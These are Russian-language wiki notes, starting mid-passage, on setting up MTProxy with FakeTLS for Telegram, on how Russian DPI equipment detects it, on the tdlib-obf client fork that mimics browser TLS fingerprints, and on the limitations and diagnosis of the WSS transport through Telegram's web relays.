подсети [censorship] tls_domain = "rutube.ru" # single-round x25519, НЕ wb.ru; неизменен после раздачи mask = true # форвард зондов на домен (анти-probing) fake_tls_only = true # реджектить палевный dd-транспорт # desync = true # дефолт on — дробит ServerHello drs = true # мимикрия размеров TLS-записей под браузер fast_mode = true [access.users] # секрет на юзера: openssl rand -hex 16 user1 = "00112233445566778899aabbccddeeff" ``` Осознанные решения: - **`tls_domain`** — единственный критичный выбор (см. Хитрость №4). - **`mask = true` + `fake_tls_only = true`** — анти-зонд и отказ от `dd`. - **`drs = true`** — дефолт `false`; включить стоит, скорость не падает. - **`rate_limit_per_subnet = 0`** — оставить для мобильных юзеров РФ за carrier-NAT, иначе ложные баны реальных людей. --- ## Часть 6. Чего НЕ делать > [!warning] Лимит SYN-ACK (1/сек) — спорный приём, но может работать > Гуляет приём — дропать исходящие SYN-ACK сверх 1/сек правилом nft (`tcp sport ... limit rate over 1/second burst 1 packets drop`). Его часто называют вредным — но это **слишком категорично**. > > **На пальцах:** SYN-ACK — это ответ сервера «да, можем общаться» во время установки соединения. Если сервер иногда «теряет» этот ответ, клиент переспрашивает через секунду. От этого (а) DPI сбивается со счёта на «кривом» рукопожатии и не опознаёт почерк клиента, и (б) почерк выходит не пачкой, а по одному в секунду — не срабатывает триггер «залпа соединений». > > Честная картина: > - **Цена:** медленная установка новых соединений (каждое сверх лимита ждёт ~1с). Для Telegram с долгоживущими коннектами — терпимая разовая задержка; для веб-сёрфинга было бы больно. > - **Глобальный вариант калечит всех юзеров сразу** → правильнее **per-port** лимит (каждому юзеру свой порт = свой бюджет 1/сек). > - **Не лечит корень** (фингерпринт) — обходной костыль, может перестать работать при адаптации ТСПУ. > > Вывод: **тестируй per-port вариант на своём маршруте**. Встроенный `mask`+anti-replay это не заменяет, а дополняет. Подробный разбор с аналогией «на пальцах» и обоими nft-вариантами — в [[Zapret/mtproto/10-telemt-logs-dpi#Лимит SYN-ACK — помогает или нет|10-telemt-logs-dpi]]. - **Не раздавайте `dd`-ссылки** при активном DPI — это plain MTProto, палится сразу. - **Не меняйте `tls_domain`** после раздачи — он вшит в ссылки. - **Не дёргайте настройки под блокировкой** — в [[VLESS/dpi-tls-june-2026|сибирской схеме]] сам паттерн «поймал блок → тут же поменял» провоцирует расширенный блок. Лучше переждать или сменить узел. --- ## Часть 7. Честный потолок: почему MTProxy слабее REALITY Три структурных причины (подробно — [[VLESS/dpi-tls-june-2026|разбор DPI июнь-2026]]): 1. **Почерк клиента не контролируешь** — нет uTLS, JA3/JA4 Telegram фиксирован (Признак 1). 2. **CDN-фронтинг почти невозможен** — клиент идёт прямо на ваш `IP:port`, подсеть не спрятать (Признак 3). Частичный рычаг — IPv6-hopping и «чистый» провайдер ([[VPS/VPS|VPS]]). 3. **Нет mux** — залп коннектов сгладить нечем (Признак 4). Сам проект в `THREAT_MODEL.md` честно пишет: *«hardened transport tool, not a universal censorship-proof channel»* — закалённый инструмент, а не универсальная неуязвимость. > [!important] Почерк и SNI меняются только на клиенте > Новая детекция (июнь 2026) бьёт по связке «JA4 Telegram + один SNI + залп на > один ip:port». Сменить JA4 или ротировать SNI **серверный прокси не может** — их > задаёт клиент Telegram, и цензор видит их ещё до сервера. Почему так и что > тогда может сервер — в [[mtproxy/ja4-sni-client-side|Кто может менять JA4/SNI]]. > [!tip] Правильная стратегия > Держите **оба**: MTProxy — удобная «дверь» в Telegram для близких (ноль установки), VLESS+REALITY/XHTTP — основной обход для всего. Когда [[VLESS/dpi-tls-june-2026|VLESS «болеет»]], MTProxy на росс. VPS часто даёт полную скорость, и наоборот. --- ## ✅ Чек-лист для запуска - [ ] Режим только **FakeTLS** (`ee`-ссылки), **порт 443**, раздача приватная - [ ] `tls_domain` — single-round x25519, приличный ASN, выбран один раз - [ ] `mask = true`, `fake_tls_only = true`, `drs = true` - [ ] `TCPMSS=88` активен (`iptables -t mangle -S` показывает TCPMSS-правило) - [ ] nfqws запущен и **TTL подтюнен** под маршрут (`systemctl status nfqws-mtproto`) - [ ] `rate_limit_per_subnet = 0`, если юзеры за мобильным NAT РФ - [ ] Готов запасной VLESS/XHTTP - [ ] Перестал работать → меняй IP/узел, **не крути настройки на лету** --- ## 📚 См. также - 🔗 **Репозиторий:** [sleep3r/mtproto.zig](https://github.com/sleep3r/mtproto.zig) - [[Zapret/mtproto/05-censorship|ТСПУ и обход цензуры для MTProto]] — полный каскад детекции - [[Zapret/mtproto/02-implementations|4 реализации MTProxy]] — telemt / mtg / … (без zig) - [[Zapret/mtproto/06-vs-vless|MTProxy vs VLESS]] - [[Zapret/mtproto/08-best-practices|Best practices: домен и ASN]] - [[VLESS/dpi-tls-june-2026|Сибирская схема: подсеть + фингерпринт + частота]] - [[DPI/dpi-analysis-pipeline|Воронка проверок DPI: от SYN до ML]] - [[VPS/VPS|Выбор VPS и подсети]] - [[Zapret/telegram calls|Звонки Telegram]] — через MTProxy не работают --- --- date: 2026-08-20 tags: - mtproxy - telegram - faketls - обзор-раздела aliases: - MTProxy раздел - Прокси для Телеграма обзор - FakeTLS что это - МТПрокси не работает --- # ✈️ MTProxy и Telegram-транспорты — раздел > [!info] О чём раздел > Всё о прокси для Telegram: **MTProxy** (прокси, гоняющий телеграмный протокол MTProto), маскировка **FakeTLS**, детекция со стороны ТСПУ и способы её пережить — как на сервере, так и на клиенте. Плюс альтернативный транспорт WSS (MTProto внутри WebSocket). ## Заметки раздела **База и сервер:** - [[mtproxy/mtproto-zig|MTProxy и mtproto.zig: что это и как пережить ТСПУ]] — вводная простым языком: что такое MTProxy, что такое FakeTLS, по каким признакам его ловит DPI. - [[mtproxy/mtproto-zig-setup|Настройка MTProxy на mtproto.zig]] — практический runbook с объяснением каждого слоя защиты. - [[mtproxy/faketls-relay-diagnosis|Релей или клиент: диагностика]] — когда рабочий ключ не подключается в стороннем клиенте. **Клиентская сторона — TLS-почерк:** - [[mtproxy/ja4-sni-client-side|Кто может менять JA4/SNI и почему обход — клиентский]] — архитектурный факт, определяющий всю борьбу с новой детекцией MTProto. - [[mtproxy/tdlib-obf-client-side-stealth|tdlib-obf — TDLib с маскировкой под браузер]] — форк библиотеки для клиентов Telegram. - [[mtproxy/tsrman-tg-android-faketls|tsrman/tg — форк Telegram для Android со сменой JA4]] — то же для официального Android-приложения. **WSS-транспорт:** - [[mtproxy/telegram-wss-transport|WSS для Telegram: MTProto внутри WebSocket]] — как устроен транспорт через веб-релеи Telegram. - [[mtproxy/telegram-wss-limits|Ограничения WSS]] — что не работает и почему: датацентры, оговорки, границы применимости. ## 📚 См. также - [[DPI/DPI|Раздел DPI]] — как ТСПУ вообще анализирует соединения - [[ZaStoGram|ZaStoGram]] — Telegram-клиент проекта --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/mtproxy/mtproxy.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-06-12 tags: - mtproto - mtproxy - dpi - tspu - ja4 - faketls - tdlib - telegram aliases: - tdlib-obf - Клиентский TDLib с маскировкой JA4 - Stealth TDLib - Обфусцированный TDLib link: https://github.com/telemt/tdlib-obf --- # 🦎 tdlib-obf — клиентский TDLib с маскировкой TLS-почерка под браузер > [!info] О чём заметка > `tdlib-obf` — форк **TDLib** (официальной библиотеки для написания Telegram-клиентов) от сообщества **telemt**, который маскирует MTProto-трафик под обычный браузерный HTTPS, чтобы обходить государственный DPI (Deep Packet Inspection — глубокая инспекция пакетов; в РФ — оборудование ТСПУ, Технические Средства Противодействия Угрозам). Главное: это **клиентская** реализация — она меняет TLS-почерк (JA4) именно там, где это вообще возможно, внутри самого клиента. Тем самым `tdlib-obf` — это «полноценный» ответ на тезис из [[mtproxy/ja4-sni-client-side|разбора, почему обход MTProxy клиентский]]: чистый слом JA4 серверный прокси сделать не может, а форк клиента — может. > [!warning] Статус данных > Технические детали ниже взяты в основном из **собственного аудит-документа проекта** (`docs/Documentation/STEALTH_IMPLEMENTATION_RU.md`, состояние на апрель–май 2026) — это самоотчёт авторов, **не независимая проверка**. Читай заявленные свойства маскировки как «по документации проекта», а не как подтверждённый внешним аудитом факт. Базовый коммит форка и ветка проверены напрямую по git (июнь 2026) и помечены отдельно. --- ## TL;DR 1. `tdlib-obf` — это **TDLib с обфускацией**: тот же API, но при сборке с флагом `TDLIB_STEALTH_SHAPING=ON` клиент строит TLS-рукопожатие, неотличимое (по замыслу) от реального браузера. 2. Маскировка решает ровно тот рычаг, который [[mtproxy/ja4-sni-client-side|можно дёргать только на клиенте]] — **JA4-почерк ClientHello**: вместо одного протухшего пресета Telegram используется реестр из 8 рантайм-профилей реальных браузеров (по аудит-доку — Chrome 120/131/133, Firefox 148/149, Safari, iOS, Android; в коде заведены и новые lanes), выбираемых на лету. 3. Заодно адресуется беда [[Zapret/mtproto/10-telemt-logs-dpi|#30733 (протухший отпечаток)]]: используемые Chrome-профили несут **post-quantum** `key_share` (ML-KEM), которого не было в старом почерке Telegram. 4. Работает **только через MTProto-прокси с FakeTLS** (`ProxySecret::emulate_tls()`). Прямые соединения не маскируются (а часть leak-путей прямого TCP-SYN в обход прокси форк, по документации, дополнительно закрыл). 5. Честное ограничение от самих авторов: после TLS идёт **сырой MTProto, а не настоящий HTTP** — полной неотличимости на уровне L7 проект не обещает. 6. Это **библиотека, а не готовый клиент**: своё приложение пишешь поверх неё (проще всего — консольный клиент на `libtdjson`). --- ## Термины (чтобы заметка читалась без контекста) - **TDLib** (Telegram Database Library) — официальная библиотека от Telegram для написания клиентов. Сама по себе не приложение, а движок: берёт на себя протокол, шифрование, базу сообщений. Готовые клиенты (Unigram, Telegram X) построены поверх неё. - **libtdjson** — собранная динамическая библиотека TDLib с JSON-интерфейсом, к которой подключаются из любого языка (Python, C++, и т.д.). - **MTProto** — собственный транспортный протокол Telegram (шифрование + формат пакетов), поверх которого работает мессенджер. - **DPI / ТСПУ** — DPI (Deep Packet Inspection) — глубокая инспекция пакетов; ТСПУ (Технические Средства Противодействия Угрозам) — это DPI-оборудование, установленное у российских операторов. - **L7** — седьмой (прикладной) уровень модели OSI: грамматика самого протокола поверх TLS (HTTP/2, HTTP/1.1). «L7-неотличимость» — когда трафик неотличим от браузерного и на этом уровне, а не только в TLS-рукопожатии. - **ClientHello / JA4 / SNI / FakeTLS** — раскрыты в [[mtproxy/ja4-sni-client-side|заметке про клиентскую сторону JA4/SNI]]. Кратко: ClientHello — первый незашифрованный пакет TLS, который шлёт клиент; JA4 — его отпечаток; FakeTLS — режим MTProxy, где трафик маскируется под HTTPS. - **ECH** (Encrypted ClientHello) — расширение TLS, прячущее SNI внутри зашифрованной части рукопожатия. - **DRS / IPT** — внутренние подсистемы формирования трафика (traffic shaping): Dynamic Record Sizing (динамический размер TLS-записей) и Inter-Packet Timing (имитация тайминга пакетов). --- ## Зачем это нужно: рычаг, который есть только у клиента > [!example] На пальцах > Представь, что у входа стоит охранник (ТСПУ) и узнаёт «гостей Telegram» по **визитке** (JA4-почерк ClientHello). У официального клиента визитка одна и та же, к тому же устаревшего образца — охранник выучил её наизусть. Сервер-прокси переклеить визитку не может: гость показывает её **до** того, как дойдёт до сервера. А `tdlib-obf` — это сам гость, который печатает себе **свежую визитку под видом обычного браузера** перед каждым выходом. Архитектурный факт, разобранный в [[mtproxy/ja4-sni-client-side|отдельной заметке]]: JA4 и SNI лежат в ClientHello, а его шлёт **клиент**, и цензор видит этот пакет ещё до сервера. Поэтому чистый слом почерка возможен только до цензора — на стороне клиента. До сих пор это воплощалось как отдельный локальный relay (тестовый [gist Flowseal](https://gist.github.com/Flowseal/de630dd9d9ddaa86cc6bed9b473fae0c), который строит свой ClientHello). `tdlib-obf` идёт дальше: переносит ту же логику **внутрь самого клиента-движка**, без прослойки-relay. --- ## Как работает маскировка (4 слоя) По документации проекта, stealth-контур включает четыре одновременно работающих слоя: | Слой | Что делает | |---|---| | **Profile-driven ClientHello** | Реестр профилей реальных браузеров (по аудит-доку — Chrome 120/131/133, Firefox 148/149 вкл. macOS, Safari 26.3, iOS, Android; в коде есть и новые lanes — Chrome 147, Firefox 149 Windows/Android). Выбор «липкий» (sticky) — зависит от назначения, временного окна и платформы, чтобы не дёргать TLS-семейство на каждом соединении. Профили `verified` построены на реальных перехватах трафика, `advisory` — консервативные. | | **Route-aware ECH** | Политика ECH зависит от маршрута: на RU/неизвестных маршрутах ECH **выключен**, на не-RU — включается с «предохранителем» (circuit breaker), который отрубает ECH для направления после нескольких ошибок. | | **Transport shaping** | Имитация тайминга пакетов (IPT, не просто `sleep(random)`, а burst/idle-модель), динамический размер TLS-записей (DRS: slow-start → congestion-open → steady-state), классификация типа трафика (handshake / keepalive / bulk / interactive). | | **Capture-driven верификация** | Сотни нативных тестов + «корпус» реальных перехватов, сверка отпечатков JA3/JA4 с эталонами, статистические прогоны на 1024 сидах — чтобы маскировка не «схлопывалась» в узнаваемый паттерн. | > [!important] Это адресует «протухший почерк» #30733 > Беда официального клиента из [[Zapret/mtproto/10-telemt-logs-dpi|#30733]] не в номере версии (он как раз представляется свежим Chrome 134/macOS), а в том, что его отпечаток идёт **без** post-quantum `key_share`, тогда как реальные Chrome 131+ его уже несут. К концу 2025 уже около половины «человеческих» TLS несут `X25519MLKEM768` (по данным Cloudflare — ~43% к сентябрю и более 50% к декабрю 2025). По документации `tdlib-obf` синхронизирует PQ-группу между `supported_groups` и `key_share` в Chrome-профилях — то есть отпечаток выходит пост-квантовым, чего старому почерку Telegram не хватало. > [!note] Что закрывает, а что нет > `tdlib-obf` бьёт по рычагу **JA4/почерк** (и его свежесть). Условие «один и тот же SNI в залпе» из [[mtproxy/ja4-sni-client-side|детекта июня 2026]] — отдельная история: SNI в FakeTLS задаётся `ee`-секретом прокси (`tls_domain`), а не выводится из него, так что его ротация — вопрос того, к каким секретам/доменам подключается клиент, а не самого слоя маскировки. Третье условие — «залп на один ip:port» — частично снимается серверными мерами (pacing, разные порты), см. [[Zapret/mtproto/10-telemt-logs-dpi|разбор логов]]. --- ## Как использовать > [!tip] Главное правило сборки > Маскировка включается **только** при сборке с `-DTDLIB_STEALTH_SHAPING=ON` и **только** в режиме FakeTLS-прокси (`ProxySecret::emulate_tls()`). Жёсткий контракт: если использовать `emulate_tls()`, но собрать с `TDLIB_STEALTH_SHAPING=OFF`, процесс **аварийно падает** (`LOG(FATAL)`), а не работает молча без маскировки — «забыть включить» нельзя. `tdlib-obf` — это библиотека, поэтому «свой клиент» = твоё приложение поверх её API. Практичный путь без написания C++: - [ ] Получить `api_id`/`api_hash` на [my.telegram.org](https://my.telegram.org). - [ ] Собрать `libtdjson` из исходников с флагом `TDLIB_STEALTH_SHAPING=ON` (нужен компилятор **C++23**, OpenSSL, zlib ≥ 1.3.2, gperf, CMake — это единственная C++-часть). - [ ] Взять готовый терминальный клиент на TDLib (например `tg` от paul-nameless) и указать ему путь к своей `libtdjson` через `library_path` — получаешь рабочий клиент в терминале без своего кода. - [ ] Подключаться через **MTProto-прокси с FakeTLS-секретом** (`ee…`) — без него маскировки нет. Свой прокси можно поднять на [[mtproxy/mtproto-zig|mtproto.zig]] / telemt / mtg вне зоны блокировки. > [!warning] Готовый десктоп-GUI «в лоб» не подойдёт > Telegram Desktop и его форки (Kotatogram, Materialgram) **не используют TDLib** — у них свой MTProto-движок, подменить его на `tdlib-obf` нельзя. Из десктоп-GUI на TDLib есть **Unigram** (Windows), но его `develop` закреплён на более свежем коммите TDLib, чем база форка, и схема API (`td_api.tl`) за это время разошлась (на июнь 2026 — порядка 260 строк diff; точное число зависит от того, на какой коммит TDLib закреплён Unigram) — пересобрать Unigram с обфускацией можно только пересадив изменения форка на нужный коммит и разрулив конфликты. Поэтому самый дешёвый путь к рабочему клиенту — консольный/TUI на `libtdjson`. --- ## Честные ограничения Авторы прямо перечисляют их в документации — это плюс к прозрачности (но прозрачность не заменяет независимую проверку): > [!quote] Из документации проекта (раздел «Честные ограничения») > После TLS-рукопожатия идёт **сырой MTProto, а не браузероподобный HTTP**. Полная L7-неотличимость **не заявляется** — на уровне глубокой L7-аналитики (настоящий HTTP/2-фрейминг, грамматика HTTP/1.1) трафик всё ещё может выделяться. Runtime-реестр профилей консервативнее эмпирического корпуса, а генерация ServerHello зависит от серверной стороны. Дополнительно: - **QUIC/HTTP3 запрещены** — транспорт всегда TCP+TLS (`allow_quic=true` считается ошибкой конфигурации). - Это **community-форк**, не официальный Telegram (лицензия MIT поверх Boost-лицензии TDLib). --- ## Версия и происхождение (проверено по git, июнь 2026) - Дефолтная ветка репозитория — **`master`** (не `main`). - Форк отделился от upstream TDLib на коммите `8fc2344f` (**25 апреля 2026**). Сам форк схему `td_api.tl` тоже правит (+91/−13 строк относительно базы) — это важно учитывать при попытке подружить его с готовым клиентом, заточенным под другую версию TDLib. - Мейнтейнеры — сообщество telemt (то же, что и [[Zapret/mtproto/00-overview|MTProto-прокси telemt]]). --- ## 📚 См. также - [[mtproxy/ja4-sni-client-side|Почему обход MTProxy клиентский (JA4/SNI)]] — архитектурный тезис, ответом на который и является tdlib-obf - [[mtproxy/tsrman-tg-android-faketls|tsrman/tg — Telegram для Android со сменой JA4]] — родственный клиентский подход, но в виде готового приложения (форк Telegram-Android), а не библиотеки - [[Zapret/mtproto/10-telemt-logs-dpi|Чтение логов telemt и #30733]] — протухший JA4-почерк официального клиента, который tdlib-obf лечит PQ-профилями - [[mtproxy/mtproto-zig|MTProxy и mtproto.zig]] — серверная сторона FakeTLS-прокси, к которой подключается клиент - [[mtproxy/faketls-relay-diagnosis|Релей или клиент: диагностика FakeTLS]] — как проверить снаружи, чей ClientHello релей не принимает, и какие требования он к нему предъявляет - [[Zapret/mtproto/00-overview|MTProto Proxy — полный гайд]] — общий обзор экосистемы telemt - [[VLESS/dpi-tls-june-2026|Сибирская схема: подсеть + фингерпринт + частота]] — та же логика «И трёх условий» и про свежесть почерка/ML-KEM - 🔗 [tdlib-obf на GitHub](https://github.com/telemt/tdlib-obf) — исходники и документация (ветка `master`) - 🔗 [tdesktop#30733](https://github.com/telegramdesktop/tdesktop/issues/30733) — протухший фингерпринт официального клиента --- --- date: 2026-08-06 tags: - mtproto - telegram - wss - websocket - диагностика - обход-блокировок - cloudflare aliases: - Почему не грузятся стикеры через WSS прокси - WSS прокси Telegram не работает - Не грузит фото и видео в Telegram через прокси - Почему звонки не работают через прокси Telegram - Ошибка 429 Cloudflare Worker Telegram - The proxy you are using is not configured correctly - Ограничения WSS транспорта Telegram --- # 🧯 Ограничения WSS для Telegram: что не работает и почему > [!info] О чём заметка > У транспорта, который прячет MTProto в WebSocket и отправляет на веб-релеи Telegram, длинный список оговорок: работают не все датацентры, стикеры и реакции могут не грузиться, звонки не проксируются вовсе, а бесплатные запасные пути упираются в лимиты Cloudflare. Здесь собраны симптомы, их причины и то, чем каждый случай подтверждается. Как транспорт устроен изнутри — в парной заметке [[mtproxy/telegram-wss-transport|WSS для Telegram: MTProto внутри WebSocket]]. > [!warning] Откуда взяты данные > Заметка собрана из трёх типов источников по состоянию на **6 августа 2026**: комментарии и константы в коде четырёх проектов (`tg-ws-proxy`, модуль `telegram_proxy` в ZapretGUI, форки ZaStoGram для Android и Desktop), их журналы исправлений и обсуждения в трекере `tg-ws-proxy` — включая пользовательский FAQ, который ведёт сообщество в [issue #389](https://github.com/Flowseal/tg-ws-proxy/issues/389), а не разработчики Telegram. Результаты замеров относятся к конкретным сетям и датам и не являются спецификацией: у другого провайдера и в другой месяц поведение релеев может отличаться. --- ## TL;DR 1. **Кадр WebSocket — единица разбора, а не просто нарезка.** Релей обрабатывает только первый MTProto-пакет кадра и молча выбрасывает остальные, поэтому склеивать пакеты нельзя (разрезать один пакет на несколько кадров — можно). Нарушение этого правила оставляет датацентр без ключа: рукопожатие висит на втором шаге, и медиа оттуда не грузится при внешне рабочем соединении. 2. **Веб-релеи работают у всех датацентров DC1–DC5** (проверено живыми соединениями 8 августа 2026). Распространённое «только DC2 и DC4» — следствие ошибки метода: у каждого датацентра свой входной адрес, и обращение к чужому даёт редирект `302` или тишину. Реализации, рассчитанные только на DC2/DC4, ограничены собственным зашитым адресом, а не инфраструктурой Telegram. 3. Самый частый симптом — **«всё работает, но не грузятся фото, видео, стикеры и реакции»**. Причина обычно не в аккаунте, а в том, что нужный контент лежит на датацентре, релей которого закрыт именно в вашей сети. Проверять доступность надо по TCP, а не пингом: ICMP проходит и там, где порт 443 заблокирован — см. [[#Релей закрыт: «фото грузятся, эмодзи нет»]]. 4. **Звонки и групповые войс-чаты такой прокси не переносит** — они ходят по UDP, а WebSocket живёт поверх TCP. Это не значит, что они не работают: трафик звонка идёт мимо туннеля напрямую, и закрывает его пакетный обход вроде [[Zapret2/Zapret2|zapret]] (он перехватывает UDP и STUN), а не прокси. 5. Отдельный класс отказов — **«соединение установилось, данных нет»**: рукопожатие прошло, `recv` остаётся нулевым. Реализации ловят это таймерами и уводят маршрут в карантин на 60 секунд, час или полчаса — в зависимости от проекта. 6. Бесплатные запасные пути через **Cloudflare** упираются в лимиты: общие домены отдают 429, неверный режим TLS даёт ошибку 525, а сами подсети Cloudflare в РФ тоже могут блокироваться. 7. WSS **несовместим** с MTProxy и (в Android-форке) с обычным прокси: включение одного гасит другое, и это поведение задумано, а не баг. 8. Клиентские форки долго **не откатывались на обычный TCP**: при недоступном релее попытки повторялись, пока пользователь не выключит транспорт руками. В обоих форках ZaStoGram откат теперь есть — датацентр с закрытым релеем уходит на прямое соединение, остальные продолжают идти через WSS. Причина отказа в интерфейс по-прежнему не выводится. --- ## Почему считалось, что работают только DC2 и DC4 > [!warning] Раздел исправлен 8 августа 2026 > Утверждение «релеи есть только у DC2 и DC4» **опровергнуто живыми соединениями**. Работают все DC1–DC5. Ниже разобрано, откуда взялось заблуждение и почему оно так убедительно выглядело. У Telegram пять обычных датацентров плюс отдельные идентификаторы для CDN. Веб-релеи по схеме `kwsN.web.telegram.org` строятся для любого номера — и, как выяснилось, принимают соединения тоже все. Источник заблуждения — **не универсальность ingress-адресов**. У каждого датацентра свой входной адрес: `149.154.174.100` обслуживает DC1/DC3, `149.154.167.220` — DC2/DC4, `149.154.170.100` — DC5. Инструмент, который держит один зашитый адрес на все датацентры, при попытке достучаться до чужого получает либо редирект `302` на `core.telegram.org`, либо — что коварнее — принятое соединение и тишину до таймаута. Отсюда и вывод «релея нет», хотя релей есть, просто вход не тот. Сервер даже подсказывает правильный: в ответе `302` есть заголовок `X-Redirect-Host` с нужным именем. Проверка 8 августа 2026 (по несколько повторов на каждую пару «адрес + имя», чтобы отсеять обычные для DPI одиночные таймауты) показала: все три адреса принимают апгрейд и проксируют настоящий MTProto, включая медийные `kwsN-1`. Каталог маршрутов ZapretGUI, где `kws1`, `kws3`, `kws5` помечены как «только запасной путь», и комментарий в коде Desktop-форка про «веб-сокеты существуют только для DC2/DC4» отражают ограничение самих этих инструментов, а не инфраструктуры Telegram. Desktop-форк ZaStoGram зашивает ограничение прямо в код: маршрут строится, только если номер датацентра равен 2 или 4. Android-форк держит таблицу из трёх адресов и покрывает DC1–DC5 — и именно его подход оказался верным. Любопытно, что расширение до пяти датацентров внесли 5 августа 2026 по аналогии, без проверки живым соединением; догадка подтвердилась только три дня спустя. **Как проверять правильно.** Релей проверяется парой «адрес + имя», а не адресом отдельно: для датацентра N берите обслуживающий его ingress и ставьте `Host` и TLS SNI равными `kwsN.web.telegram.org`. Ещё надёжнее не хардкодить адреса вовсе — DNS отдаёт правильный ingress сам (имена `kwsN` и `kwsN-1` резолвятся в один и тот же адрес; суффикс различает класс трафика на стороне релея). И обязательно делайте 4–5 повторов: одиночный таймаут TCP на 443 к диапазонам Telegram ничего не доказывает. С CDN-датацентром история отдельная. Домена `kws203.web.telegram.org` не существует: обращение к нему падает на резолве, маршрут отправляется в чёрный список, а прямой запасной путь по адресам вроде `149.154.175.50` в РФ часто заблокирован — соединение остаётся без вариантов. Автор `tg-ws-proxy` в обсуждении убрал переопределение DC203 из настроек по умолчанию, посчитав, что без него работает не хуже. > [!danger] Не «просто перенаправьте на другой релей» > Заманчивая идея — пустить трафик несуществующего релея через рабочий `kws2` — не работает и вредит. В ZapretGUI такую попытку зафиксировали замером 14 июня 2026: 276 подключений дали 608 случаев нулевого приёма, 42 обрыва на неполном чтении и 18 таймаутов, после чего Telegram показал «The proxy you are using is not configured correctly and will be disabled» и отключил прокси. С тех пор в режиме MTProxy кросс-датацентровая маршрутизация запрещена явной проверкой: если у датацентра нет своего релея, соединение сразу идёт в запасной путь. Причина разной строгости — в том, как Telegram относится к двум типам прокси. SOCKS5 для него непрозрачная труба: попросил соединение до адреса, получил байты, содержимое не проверяет. MTProxy — участник протокола: клиент проверяет секрет, форму init-пакета и поведение прокси, и при расхождениях выключает его целиком, а не просто повторяет попытку. --- ## Релей закрыт: «фото грузятся, эмодзи нет» Самый частый и самый обманчивый случай. Клиент выглядит исправным: переписка идёт, скорость нормальная, ошибок нет — но часть медиа не загружается никогда. Обычно это выглядит как «фотографии открываются, а эмодзи, реакции и стикеры не прогружаются». Причина в том, что содержимое Telegram разложено по датацентрам, а **доступность релеев в конкретной сети разная**. Замеры 9 августа 2026 у одного российского провайдера, порт 443: | Куда | Что это | `ping` | TCP 443 | |---|---|---|---| | `149.154.167.220` | релей DC2 и DC4 | отвечает | **открыт** | | `149.154.174.100` | релей DC1 и DC3 | отвечает | закрыт | | `2001:b28:...:338` | тот же релей по IPv6 | отвечает | закрыт | | `149.154.175.50` | прямой адрес DC1 | отвечает, 178 мс | закрыт | Открыт один путь из четырёх. Фотографии в переписке лежали на DC2 — грузились. Эмодзи и реакции на DC1 — не грузились ничем. > [!warning] `ping` в этом случае обманывает > ICMP проходит везде, TCP на 443 — только в одном случае. DPI режет по порту, оставляя пинг живым. Проверять надо TCP: > ```powershell > tnc 149.154.174.100 -Port 443 > ``` > и смотреть `TcpTestSucceeded`. Частая ошибка — писать `Test-NetConnection - 1.2.3.4:443`: адрес с припиской порта PowerShell ищет как имя хоста и висит до таймаута, что легко принять за блокировку. **Почему нельзя подставить другой адрес.** У каждого датацентра ровно один ingress-адрес IPv4, и чужой не подходит: обращение к адресу DC2 с именем `kws1` даёт редирект `302`. Запасных адресов у Telegram нет, так что закрытый ingress означает мёртвый WSS для этого датацентра. **IPv6 — не универсальное спасение.** AAAA-записи есть у всех релеев, и у DC1 с DC5 их по два против одного IPv4. Но в измеренной сети IPv6 был закрыт целиком, включая релей DC2, работавший по IPv4. Поэтому клиент не должен предпочитать IPv6 автоматически: это может заменить единственный рабочий путь заведомо мёртвым. **Как это должен вести себя клиент.** Не держать датацентр в вечных попытках: несколько неудач подряд, не дошедших даже до установленного TCP, означают недоступный релей, и для такого датацентра нужно вернуться к обычному соединению. WSS остаётся там, где работает. В ZaStoGram это добавлено в обоих форках — Android 1.1.18 и Desktop `f6bd0740`, по одному принципу: три неудачи до TCP отключают маршрут на десять минут, успешный апгрейд счётчик сбрасывает. **Когда WSS вообще не подходит.** Он рассчитан на сеть, где режут адреса датацентров, но не трогают `web.telegram.org`. Если закрыты и релеи, и прямые адреса, нужен туннель через доступный сервер — MTProxy или VPN: они проксируют все датацентры одинаково. Проверять это стоит раньше, чем искать баги в транспорте. --- ## «Соединение есть, данных нет» Отдельный и самый неочевидный класс отказов: TCP открылся, TLS прошёл, WebSocket ответил `101` — а данных от Telegram нет. С точки зрения кода соединение успешно; с точки зрения пользователя Telegram висит в «Соединение…». Проще говоря: успешное рукопожатие доказывает, что до сервера достучались, но **не доказывает, что маршрут рабочий**. Именно поэтому все реализации завели отдельные счётчики «сколько байт реально пришло», а не полагаются на статус соединения. Как с этим борются: - **ZapretGUI** держит таймер на 8 секунд: если за это время не пришло ни байта, датацентр считается заблокированным, и следующие подключения к нему сразу идут через внешний SOCKS5, минуя повторное восьмисекундное ожидание. Домен релея после одной такой неудачи уходит в карантин на 60 секунд и потом возвращается в пул. Важная тонкость: если клиент сам оборвал соединение раньше таймера — это не считается доказательством блокировки, потому что Telegram обрывает лишние соединения постоянно. - **tg-ws-proxy** реагирует на редиректы: если все домены датацентра ответили 302, датацентр попадает в чёрный список **до перезапуска** прокси; если часть — включается минутный «полукарантин» с укороченным таймаутом. Отдельно запоминается адрес, до которого не удалось достучаться, — на час. - **Клиентские форки** ZaStoGram запоминают на 30 минут, что сработало лучше: зашитый IP релея или его доменное имя. В Desktop-версии есть ещё один механизм — если WebSocket-соединение через выбранный SOCKS5 рвётся удалённой стороной, WSS помечается недоступным для этого прокси на полчаса, а галочка в настройках становится неактивной. Смысл всех этих таймеров одинаковый: не долбиться в мёртвый маршрут на каждом новом подключении, но и не хоронить его навсегда — состояние сети меняется. --- ## Медиа, стикеры и CDN Самая частая жалоба звучит как «текст ходит, картинки нет». Второй по частоте вариант — «у знакомого с Premium всё грузится, у меня нет», из-за чего проблему регулярно приписывают подписке. Дело не в подписке. Аккаунты с разными номерами телефонов живут на разных датацентрах, а медиа-трафик вдобавок идёт по отдельным медийным подключениям и через CDN. Релей есть у каждого датацентра, но пользуется им не каждый инструмент: если ваш датацентр — не DC2 и не DC4, а инструмент держит единственный зашитый адрес, ускорять нечего — трафик уходит в запасные маршруты, которые могут быть медленнее или недоступны. README `tg-ws-proxy` предлагает в этом случае оставить в списке «датацентр → адрес» только `4:149.154.167.220`, а если не помогло — очистить список полностью; более правильное решение — добавить в список адреса остальных датацентров (`1:149.154.174.100`, `3:149.154.174.100`, `5:149.154.170.100`). Реакции и стикеры лежат на CDN, до которого схема не дотягивается вовсе. Android-форк решил это честнее всех: при включённом WSS клиент **сообщает 